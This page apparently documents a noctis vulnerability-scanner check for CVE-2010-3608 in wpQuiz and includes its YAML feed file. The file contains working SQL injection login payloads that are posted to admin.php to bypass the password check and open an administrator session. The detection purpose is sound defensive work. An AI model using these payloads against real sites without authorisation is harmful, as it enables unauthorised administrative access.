wpQuiz — 1 vulnerability check

noctis ships 1 vulnerability check for wpQuiz, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

wpQuiz admin.php SQL injection authentication bypass

CVECVE-2010-3608
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wpquiz/CVE-2010-3608.yaml

Looks for a wpQuiz installation (a page titled "wpQuiz >> Login" or carrying the "Powered by wpQuiz" footer) in /wp_quiz, /wpQuiz, /quiz and the web root, with or without the upload/ folder of the distribution archive. It then posts two logins to admin.php without following redirects: first one whose user name and password end with an always-false SQL condition (<random>' or N=M), which must not open the administration panel, then the same login with an always-true condition (<random>' or N=N), which must answer with the administration panel ("Administration Panel" / "AdminCP"). The first pair comments out the rest of the query after the user name; when it does not open the panel, a second pair with quote-balanced conditions in both fields and no comment is tried. When both logins of a pair behave so, the login fields are evaluated inside the login SQL query and the password check is bypassed. A login page that shows the panel for the false condition too is reported separately, with low confidence. The requests are login attempts with random user names; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/admin.php with a crafted body
  5. HTTP(S) request POST {{dir}}/admin.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request POST {{dir}}/admin.php with a crafted body
  8. HTTP(S) request POST {{dir}}/admin.php with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Checks v.s for . → finding QoD 97: wpQuiz admin.php SQL injection authentication bypass
  11. Checks v.s for . → finding QoD 75: wpQuiz admin.php SQL injection authentication bypass
  12. Checks v.cd for . → finding QoD 50: wpQuiz admin.php shows the administration panel for an invalid login
  13. Checks v.cd for .

References:

Feed source — tests/vulnerabilities/wpquiz/CVE-2010-3608.yaml
# wpQuiz 2.7 admin.php SQL injection authentication bypass (CVE-2010-3608).
#
# Reference check: OpenVAS/Greenbone NVT `2010/gb_wpquiz_mult_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.902315, GPL-2.0-only). For /wp_quiz, /wpQuiz, / and the CGI
# dirs it GETs <dir>/upload/index.php, requires "<title>wpQuiz >> Login - wpQuiz</title>",
# POSTs user=' or '1=1&pass=' or '1=1 to <dir>/upload/admin.php and reports
# ">Administration Panel" or "AdminCP" in the reply.
# Public advisory: EDB-15075 (KnocKout, 2010-09-21): admin.php / user.php accept
# ID ' or '1=1 / PW ' or '1=1. wpQuiz (wireplastik.com) is gone; no source copy is
# reachable, so the request shape and the success markers come from the reference check
# and the advisory, the page shapes from the WhatWeb wpQuiz plugin (title "wpQuiz >> Login
# - wpQuiz", footer "Powered by wpQuiz"). 2.7 was the last release and was never fixed.
#
# Better than the reference check:
#   - True/false differential: an always-false login of the same shape is posted first
#     and must NOT reach the administration panel. A login page answering every POST with
#     the panel (or a panel heading on the failed-login page) is no longer reported as the
#     CVE (separate QoD 50 hint without CVE).
#   - Random user names and operands instead of the fixed ' or '1=1.
#   - The user field ends with "-- -" (the rest of the query, password check included, is
#     commented out), which also works when the password is hashed before the query; the
#     password field keeps the reference's quote-balanced shape for installs where only
#     that field is concatenated.
#   - When that pair does not open the panel (e.g. a WHERE clause wrapped in parentheses,
#     whose closing one the comment drops), a second true/false pair with quote-balanced
#     conditions in both fields and no comment is tried.
#   - Also tries the files installed straight in /wp_quiz, /wpQuiz, /quiz and the web root
#     (not only the archive's upload/ folder), and gates on the footer too.
# No version fallback: the version shown on the pages is not a reliable signal of
# exploitability (an install whose quotes are escaped by magic_quotes_gpc cannot be
# bypassed), and only the vulnerable 2.7 is listed. user.php (the member login, also named
# by the advisory) is not probed: its success page is unknown.
# The requests are login attempts with random user names; at most an administrator
# session is opened. No data is read or changed.
uid: 248c36eb-ba5b-4389-8b1b-e782088a4750
name: "wpQuiz admin.php SQL injection authentication bypass"
description: >-
  Looks for a wpQuiz installation (a page titled "wpQuiz >> Login" or carrying the
  "Powered by wpQuiz" footer) in /wp_quiz, /wpQuiz, /quiz and the web root, with or
  without the upload/ folder of the distribution archive. It then posts two logins to
  admin.php without following redirects: first one whose user name and password end
  with an always-false SQL condition (<random>' or N=M), which must not open the
  administration panel, then the same login with an always-true condition
  (<random>' or N=N), which must answer with the administration panel ("Administration
  Panel" / "AdminCP"). The first pair comments out the rest of the query after the user
  name; when it does not open the panel, a second pair with quote-balanced conditions in
  both fields and no comment is tried. When both logins of a pair behave so, the login fields are evaluated inside the login
  SQL query and the password check is bypassed. A login page that shows the panel for
  the false condition too is reported separately, with low confidence. The requests are
  login attempts with random user names; no data is read or changed.
category: sqli
cves: [CVE-2010-3608]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [wpquiz, php, mysql, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-3608"
  - "https://www.exploit-db.com/exploits/15075"

steps:
  # Shared random values: field prefixes and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/wp_quiz/upload", "/wpQuiz/upload", "/quiz/upload", "/upload", "/wp_quiz", "/wpQuiz", "/quiz", ""]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: init-ctl2
    action: set_var
    var_name: ctl2
    var_value: {status: 0, body: ""}

  - id: init-inj2
    action: set_var
    var_name: inj2
    var_value: {status: 0, body: ""}

  - id: index
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      #{ ok: page.status == 200
          && (ereg("<title>[^<]*>> *(Login|Register) - wpQuiz</title>", b, true)
              || ereg("Powered by wpQuiz", b, true)) }
    store_as: fp

  # Control first: always-false condition in both fields.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin.php"
    body: "user={{rv.u}}%27+or+{{rv.n}}%3D{{rv.f}}--+-&pass={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: ctl

  # Same login with an always-true condition.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin.php"
    body: "user={{rv.u}}%27+or+{{rv.n}}%3D{{rv.n}}--+-&pass={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: inj

  # Second pair, only when the first one did not open the panel: quote-balanced
  # conditions in both fields, no comment (a query wrapped in parentheses fails with the
  # "-- -" of the first pair, which also drops the closing parenthesis).
  - id: first
    action: script
    code: |
      let b = if type_of(inj.body) == "string" { inj.body } else { "" };
      #{ retry: fp.ok && !(inj.status >= 200 && inj.status < 400
                           && ereg(">\\s*Administration Panel|AdminCP", b)) }
    store_as: p1

  - id: control2
    action: http_request
    method: POST
    path: "{{dir}}/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "p1.retry"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin.php"
    body: "user={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}&pass={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: ctl2

  - id: inject2
    action: http_request
    method: POST
    path: "{{dir}}/admin.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "p1.retry"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/admin.php"
    body: "user={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}&pass={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: inj2

  - id: verdict
    action: script
    code: |
      fn panel(r) {
        type_of(r) == "map" && r.status >= 200 && r.status < 400
          && type_of(r.body) == "string"
          && ereg(">\\s*Administration Panel|AdminCP", r.body)
      }
      // The failed login answered normally: a page that shows a password field again.
      fn refused(r) {
        type_of(r) == "map" && r.status == 200 && type_of(r.body) == "string"
          && ereg("type\\s*=\\s*[\"']?password", r.body, true)
          && !ereg(">\\s*Administration Panel|AdminCP", r.body)
      }
      fn describe(r) {
        if type_of(r) != "map" || r.status == 0 { "no reply" }
        else { "status " + r.status + " without a login form" }
      }
      let n = "" + rv.n;
      let f = "" + rv.f;
      let second = fp.ok && !panel(inj) && panel(inj2);
      let i = if second { inj2 } else { inj };
      let c = if second { ctl2 } else { ctl };
      let hit = fp.ok && panel(i);
      let ca = panel(c);
      let cr = refused(c);
      let shape = if second {
        "user name and password each ending in ' or '" + n + "'='" + n
      } else {
        "user name ending in ' or " + n + "=" + n + "-- - (password ending in ' or '"
          + n + "'='" + n + ")"
      };
      #{ c97: hit && cr, c75: hit && !cr && !ca, any: hit && ca, found: hit,
         s: if hit { "" + i.status } else { "" }, cd: describe(c), shape: shape }
    store_as: v

  - id: confirmed
    action: match
    source: v.s
    pattern: "."
    condition: "v.c97"
    on_match:
      finding:
        title: "wpQuiz admin.php SQL injection authentication bypass"
        description: "The wpQuiz administration login (admin.php) concatenates the login fields into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
        confidence_delta: 0.65
        qod: 97
        evidence: "wpQuiz at {{dir}}/: POST {{dir}}/admin.php with a random {{v.shape}} answered status {{v.s}} with the administration panel; the same login with the false condition ({{rv.n}}={{rv.f}}) was answered with the login form."
        remediation: "wpQuiz is no longer maintained and 2.7 was never fixed: remove it, or restrict access to admin.php to trusted users and change the login query to a prepared statement."

  - id: unconfirmed-control
    action: match
    source: v.s
    pattern: "."
    condition: "v.c75"
    on_match:
      finding:
        title: "wpQuiz admin.php SQL injection authentication bypass"
        description: "The wpQuiz administration login (admin.php) concatenates the login fields into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
        confidence_delta: 0.50
        qod: 75
        evidence: "wpQuiz at {{dir}}/: POST {{dir}}/admin.php with a random {{v.shape}} answered status {{v.s}} with the administration panel; the false-condition control login was not answered normally ({{v.cd}})."
        remediation: "wpQuiz is no longer maintained and 2.7 was never fixed: remove it, or restrict access to admin.php to trusted users and change the login query to a prepared statement."

  - id: any-login
    action: match
    source: v.cd
    pattern: "."
    condition: "v.any"
    on_match:
      finding:
        cves: []
        title: "wpQuiz admin.php shows the administration panel for an invalid login"
        description: "The wpQuiz admin.php login answered with the administration panel both for an always-true and an always-false login condition. The administration area may be reachable without valid credentials; check it manually."
        confidence_delta: 0.20
        qod: 50
        evidence: "POST {{dir}}/admin.php answered with the administration panel for a login ending in an always-true condition ({{rv.n}}={{rv.n}}) and also for the always-false condition ({{rv.n}}={{rv.f}})."
        remediation: "Remove wpQuiz or restrict access to admin.php to trusted users."

  # One install reported: stop the directory loop.
  - id: done
    action: match
    source: v.cd
    pattern: "."
    condition: "v.found"
    on_match:
      stop: true

View these feeds on GitHub